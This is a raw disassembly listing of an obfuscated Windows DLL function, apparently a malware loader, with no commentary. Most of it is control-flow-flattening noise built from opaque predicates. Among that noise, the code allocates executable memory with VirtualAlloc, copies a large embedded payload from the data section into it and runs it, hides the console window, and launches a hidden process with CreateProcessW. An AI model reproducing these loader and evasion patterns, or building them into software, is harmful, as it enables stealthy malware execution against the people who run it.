mov rcx, rbx
mov r8, r12
mov r9d, 0x46601
call fcn.180044ff0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call r14
mov edx, 0x200
mov rcx, rbx
call fcn.180051ec0
add rsp, 0x20
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800452d0
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x204a725c
mov eax, 0xda086934
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe2654c64
mov eax, 0xc2d29c60
jmp 0x18003f040
mov ecx, 0xa3742bf8
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5f1f69dd
mov eax, 0x238b3d17
jmp 0x18003f040
movzx eax, byte [rbp + 0xf]
cmp byte [rbp + 0xe], 0
mov ecx, 0x3c4ad2ce
mov edx, 0xc1b95796
cmovne ecx, edx
test al, al
cmovne ecx, edx
jmp 0x18003f04d
mov ecx, 0x93469b5c
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7acdbd79
mov eax, 0xd11b789e
jmp 0x18003f040
mov ecx, 0x6d94f12d
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb29b945a
mov eax, 0x3df99694
jmp 0x18003f040
mov ecx, 0xca554991
jmp 0x18003f04d
mov ecx, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp edi, 9
setg r8b
cmp edi, 0xa
setl al
xor al, cl
mov ebx, ecx
or bl, r8b
and bl, al
xor al, 1
and cl, r8b
or cl, al
mov eax, ebx
xor al, cl
mov eax, 0x7aaed6f0
mov esi, 0xb917c3ab
cmovne eax, esi
lea r12, [0x180063d7a]
mov r14, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test cl, cl
mov esi, 0x7aaed6f0
cmove eax, esi
test bl, bl
cmovne eax, esi
test dl, 1
mov ecx, eax
cmove ecx, esi
jmp 0x180044d73
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfc2e10e9
mov eax, 0x993e4456
jmp 0x18003f040
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl cl
mov r9d, ecx
and r9b, al
xor cl, al
mov edx, ecx
xor dl, 1
mov ebx, eax
and bl, r8b
or bl, dl
or al, r8b
and al, cl
movzx edx, bl
movzx ecx, cl
cmovne ecx, edx
mov ebx, edx
xor bl, al
xor dl, 1
or dl, al
and dl, bl
or dl, cl
mov eax, r9d
and al, dl
xor dl, r9b
mov ecx, eax
xor cl, dl
test dl, 1
mov edx, 0x3f5fdf73
mov ebx, 0x710d4502
cmovne edx, ebx
test al, al
mov eax, 0x3f5fdf73
cmove edx, eax
test cl, 1
cmovne edx, ebx
mov ecx, edx
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5412b806
mov eax, 0x99819ff5
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x5412b806
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x48219840
mov eax, 0xc0c3713c
jmp 0x18003f040
mov ecx, 0xdd696783
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x845c498e
mov eax, 0x35740ee7
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3b39964e
mov eax, 0xb88d99c2
jmp 0x18003f040
mov ecx, 0xbde7da8d
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf34b922
mov eax, 0xc0553829
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9d662488
mov eax, 0x811bb5b5
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd5e2d239
mov eax, 0xd1a4a296
jmp 0x18003f040
mov ecx, 0xc535b687
jmp 0x18003f04d
mov ecx, 0x688c715c
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x379c274
mov eax, 0xfbaf9dd3
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x379c274
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0xafe41c72
mov eax, 0x530910b
cmovne ecx, eax
test dl, dl
cmovne ecx, eax
jmp 0x18003f04d
mov ecx, 0x702def66
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5cefe86
mov eax, 0x1841badf
jmp 0x18003f040
mov ecx, 0x79045ad2
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xeb22e264
mov eax, 0x2b78c696
jmp 0x18003f040
sub rsp, 0x20
mov edx, 0x46609
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov rbx, rax
mov qword [rax], 0
lea rcx, [rax + 8]
sub rsp, 0x20
mov r8d, 0x46601
lea rdx, section..data
call fcn.18004e8f0
add rsp, 0x20
lea rax, [rbx + 0xc]
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call rax
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl bl
mov edx, ebx
and dl, al
xor al, bl
xor al, 1
or bl, cl
and bl, al
mov eax, ebx
xor al, 1
or al, dl
mov ecx, edx
xor cl, bl
xor dl, 1
and dl, bl
xor dl, cl
xor dl, al
mov edx, 0x3f5fdf73
mov ebx, 0x161ce197
cmovne edx, ebx
test cl, cl
mov ecx, edx
cmovne ecx, ebx
test al, al
cmove ecx, edx
jmp 0x18003f04d
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1800301b0]
mov qword [rax], rcx
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call rax
add rsp, 0x20
mov ecx, 0xec1d67c5
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb1cea29e
mov eax, 0xc464bc21
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x316e0b11
mov eax, 0x75e29a1d
jmp 0x18003f040
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x4989ad49
mov edi, 0x12bb8ac2
cmove eax, edi
sete r8b
cmp ecx, 0xa
mov ebx, 0x4989ad49
cmovge eax, ebx
setl bl
xor bl, r8b
cmovne eax, edi
cmp ecx, 0xa
mov ecx, eax
cmovl ecx, edi
test dl, 1
cmove ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp edi, 0xa
setl bl
mov ecx, ebx
xor cl, al
and bl, al
mov eax, ebx
xor al, cl
mov eax, 0xc0499a8
mov esi, 0x1d476e11
cmovne eax, esi
test cl, cl
mov ecx, 0xc0499a8
cmove eax, ecx
test bl, bl
cmove eax, ecx
test dl, 1
cmove eax, esi
cmp edi, 0xa
cmovl eax, esi
mov ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x52ca8552
mov eax, 0x28ccf054
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd5e2d239
mov eax, 0xa45ffff3
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x457461a7
mov eax, 0xc1ccf2b0
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x548ff13
mov eax, 0x5cab699d
jmp 0x18003f040
mov rbx, qword [rbp]
sub rsp, 0x20
mov edx, 0x200
mov rcx, rbx
mov r8, r12
mov r9d, 0x46601
call fcn.180044ff0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call r14
mov edx, 0x200
mov rcx, rbx
call fcn.180051ec0
add rsp, 0x20
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800452d0
add rsp, 0x20
mov ecx, 0x13e224aa
jmp 0x18003f04d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
add rsp, 0x20
mov ecx, 0x208b352a
jmp 0x18003f04d
mov ecx, 0x4adef922
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4332d2e1
mov eax, 0xc1ab42b9
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x84986d5c
mov eax, 0x7951428d
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4bb84ec0
mov eax, 0xa3742bf8
jmp 0x18003f040
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl bl
mov ecx, ebx
xor cl, al
xor cl, 1
or dl, al
and dl, cl
and bl, al
mov eax, ebx
mov ecx, edx
xor cl, 1
or cl, bl
xor bl, dl
xor al, 1
and al, dl
xor al, cl
mov edi, 0x9970e9ee
mov esi, 0x2fca7ffa
cmovne edi, esi
test bl, bl
cmovne edi, esi
test al, al
mov eax, 0x9970e9ee
cmovne eax, edi
test dl, dl
cmove eax, edi
test bl, bl
mov edx, 0x9970e9ee
cmovne edx, eax
test cl, cl
cmove edx, eax
mov ecx, edx
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x845c498e
mov eax, 0x9c4769a
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x440a0e7c
mov eax, 0x1adcdf3
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl dl
mov ebx, edx
and bl, al
xor al, dl
or dl, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor cl, bl
mov ecx, 0xbc4c6014
mov edx, 0x1d683d3e
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0xbc4c6014
cmovne edx, ebx
test al, al
cmove edx, ecx
mov ecx, edx
jmp 0x18003f04d
mov ecx, 0xc0c3713c
jmp 0x18003f04d
mov ecx, 0xb46ad9f0
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1780e08c
mov eax, 0xe3f1ac5e
jmp 0x18003f040
mov ecx, 0x47bda867
jmp 0x18003f04d
mov ecx, 0x586215e7
jmp 0x18003f04d
mov ecx, 0x4be1ce4f
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x10209ef8
mov eax, 0x50aef01a
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x10209ef8
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x52ca8552
mov eax, 0x2db954ff
jmp 0x18003f040
mov ecx, 0x4c163768
jmp 0x18003f04d
mov ecx, 0x2ab35dfd
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xec672cf7
mov eax, 0xb8da272e
jmp 0x18003f040
mov ecx, 0x5f609cb0
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x199337d
mov eax, 0x8b74e0af
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1da8d91b
mov eax, 0x16569f12
jmp 0x18003f040
mov eax, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 9
setg bl
cmp edi, 0xa
setl cl
mov eax, edx
or al, cl
xor cl, r8b
and al, cl
and bl, r8b
xor bl, al
mov eax, 0xb98dad5c
mov ebx, 0x5b253b8a
cmovne eax, ebx
test cl, cl
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4dfcd854
mov eax, 0x8a1373f3
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x4dfcd854
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe17c88c3
mov eax, 0x40e9f884
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0xe17c88c3
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xebd04e19
mov eax, 0xdafce078
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x680b3c93
mov eax, 0x3959a13a
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe98b434a
mov eax, 0x3f8a3593
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7ef73834
mov eax, 0x1f6bdf51
jmp 0x18003f040
mov ecx, 0x8c9aebb5
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd6b48e50
mov eax, 0xa6fc2a23
jmp 0x18003f040
mov rbx, qword [rbp]
sub rsp, 0x20
mov edx, 0x200
mov rcx, rbx
mov r8, r12
mov r9d, 0x46601
call fcn.180044ff0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call r14
mov edx, 0x200
mov rcx, rbx
call fcn.180051ec0
add rsp, 0x20
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800452d0
add rsp, 0x20
mov ecx, 0xf648fb23
jmp 0x18003f04d
mov ecx, 0xc292bc22
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8020ef23
mov eax, 0x2b7843b7
jmp 0x18003f040
mov ecx, 0x960ef3c1
jmp 0x18003f04d
mov rax, qword [rbp - 0x20]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x18]
mov dword [rax], 0x68
mov rax, qword [rbp + 0x18]
mov word [rax + 0x40], 0
mov rax, qword [rbp + 0x18]
mov dword [rax + 0x3c], 1
mov rbx, qword [rbp - 0x30]
sub rsp, 0x20
mov rcx, qword [rbp - 0x28]
mov rdx, rbx
mov r8d, 0x104
call r13
add rsp, 0x20
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp + 0x18]
mov rcx, qword [rbp - 0x38]
sub rsp, 0x60
mov rdi, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000010
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call fcn.18004bc40
add rsp, 0x60
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x48a6fea0
mov eax, 0xbb50f628
jmp 0x18003f040
mov ecx, eax
cmp eax, 0xc64244cd
jne 0x18003f04d
mov eax, dword [rbp - 0x78]
movaps xmm6, xmmword [rbp + 0x20]
lea rsp, [rbp + 0x38]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret